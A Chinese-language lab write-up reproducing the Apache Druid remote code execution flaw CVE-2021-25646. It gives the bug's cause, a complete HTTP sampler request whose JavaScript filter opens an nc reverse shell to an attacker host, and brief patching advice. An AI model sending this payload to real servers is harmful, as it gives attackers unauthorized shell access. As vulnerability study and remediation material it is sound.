Druid简介与漏洞成因
Apache Druid是一个高性能的实时分析型数据库,旨在对大型数据集进行快速查询分析。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。主要应用于:点击流分析、网络监测分析、服务指标存储、供应链分析、应用性能指标分析、数字广告分析、商务智能 / OLAP
2021年1月17号,阿里云安全@Litch1向Apache官方报告了Apache Druid远程代码执行漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646
该漏洞的成因是攻击者可以构造传入的json串来控制一些敏感的参数,其中参数function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令
# 实验环境
靶机:192.168.10.1 攻击机:192.168.10.130
# 漏洞复现
该漏洞为无回显的命令执行漏洞,但是我们可以通过服务器返回的状态码判断命令是否可以执行
执行成功返回的状态码为200,响应包如下:
执行失败返回的状态码为500,响应包如下:
经过测试发现存在 nc,可以用于反弹shell,所以我们在攻击机上使用命令nc -lvvp 2333
开启监听,等待反弹shell
访问 192.168.10.1:8888(druid默认监听8888端口)确保服务正常访问
使用burp抓包,构造请求包如下,并发送
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.10.1:8888
Content-Type: application/json
Content-Length: 1005{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
请求成功,返回状态码200,并成功拿到反弹shell
# 修复建议
- 更新apache Druid到最新版本
- 限制非信任的设备对服务的访问